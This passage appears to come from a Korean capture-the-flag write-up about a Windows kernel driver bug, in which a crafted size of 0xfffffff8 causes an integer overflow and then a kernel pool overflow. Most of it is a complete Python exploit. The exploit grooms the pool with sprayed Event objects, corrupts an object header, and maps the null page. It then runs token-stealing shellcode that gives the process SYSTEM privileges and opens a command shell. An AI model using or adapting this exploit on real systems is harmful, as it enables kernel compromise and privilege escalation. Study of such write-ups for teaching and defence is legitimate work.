}

add 함수는 메모리를 동적 할당하고 데이터를 생성합니다. 이 때, 데이터 사이즈를 0xfffffff8로 설정하게 되면 정수형(integer) 오버플로우가 발생하고, edit 기능에서의 커널 풀 오버플로우로 이어집니다.

3. Exploit

전체 익스플로잇 코드는 다음과 같습니다.

# https://pypi.org/project/auto-py-to-exe/
from ctypes import *
from ctypes.wintypes import *
from struct import pack
from os import system
 
p32 = lambda x:pack('<L', x)
ntdll = windll.ntdll
kernel32 = windll.kernel32
 
ret = c_ulong()
hDevice = kernel32.CreateFileA("\\\\.\\CCE_Driver", 0xC0000000, 0, 0, 0x3, 0, 0)

add = 0x221DDF
edit = 0x221DE3
nop = 0x221DE7
dele = 0x221DEB

# heap spray
spray = []
for i in range(0x10000):
    spray.append(kernel32.CreateEventA(0, 1, 0, 0))

# make holes
for i, h in enumerate(spray):
    if i % 2:kernel32.CloseHandle(h)

data = ''
data += 'A'*0x20
data += p32(0xfffffff8)
buf = create_string_buffer(data)

# take a hole
for i in range(5000):
    kernel32.DeviceIoControl(hDevice, add, buf, 0, 0, 0, byref(ret), 0)

data = ''
data += p32(4999)
data += p32(0x5d)
data += 'A'*0x20
data += 'B'*0x38
data += '06000804457665ee0000000040000000000000000000000001000000010000000000000000'.decode('hex')
buf = create_string_buffer(data)
# pool overflow : overwrite Event Object
kernel32.DeviceIoControl(hDevice, edit, buf, 0, 0, 0, byref(ret), 0)

shellcode = (
    '\x60'                      # pushad
    '\x64\xA1\x24\x01\x00\x00'  # mov eax, fs:[KTHREAD_OFFSET]                |  Get nt!_KPCR.PcrbData.CurrentThread
    '\x8B\x40\x50'              # mov eax, [eax + EPROCESS_OFFSET]            |  Get nt!_KTHREAD.ApcState.Process
    '\x89\xC1'                  # mov ecx, eax (Current _EPROCESS structure)
    '\x8B\x98\xF8\x00\x00\x00'  # mov ebx, [eax + TOKEN_OFFSET]               |  
    '\xBA\x04\x00\x00\x00'      # mov edx, 4 (SYSTEM PID)
    '\x8B\x80\xB8\x00\x00\x00'  # mov eax, [eax + FLINK_OFFSET] <-|           |  Get nt!_EPROCESS.ActiveProcessLinks.Flink
    '\x2D\xB8\x00\x00\x00'      # sub eax, FLINK_OFFSET           |
    '\x39\x90\xB4\x00\x00\x00'  # cmp [eax + PID_OFFSET], edx     |           |  Get nt!_EPROCESS.UniqueProcessId
    '\x75\xED'                  # jnz                           ->|
    '\x8B\x90\xF8\x00\x00\x00'  # mov edx, [eax + TOKEN_OFFSET]               |  Get SYSTEM process nt!_EPROCESS.Token
    '\x89\x91\xF8\x00\x00\x00'  # mov [ecx + TOKEN_OFFSET], edx               |  Replace target process nt!_EPROCESS.Token
    '\x61'                      # popad
    '\xb8\x01\x00\x00\x00'      # mov eax, 1
    '\xC2\x10\x00'              # ret 16
)

code = kernel32.VirtualAlloc(0, 1, 0x3000, 0x40)
memmove(code, shellcode, len(shellcode))
ntdll.NtAllocateVirtualMemory(-1, byref(c_void_p(0x1)), 0, byref(c_ulong(0x2000)), 0x3000,  0x40)
c_long.from_address(0x60).value = code

# execute shellcode
for i, h in enumerate(spray):
    if not (i % 2):kernel32.CloseHandle(h)

system('cmd')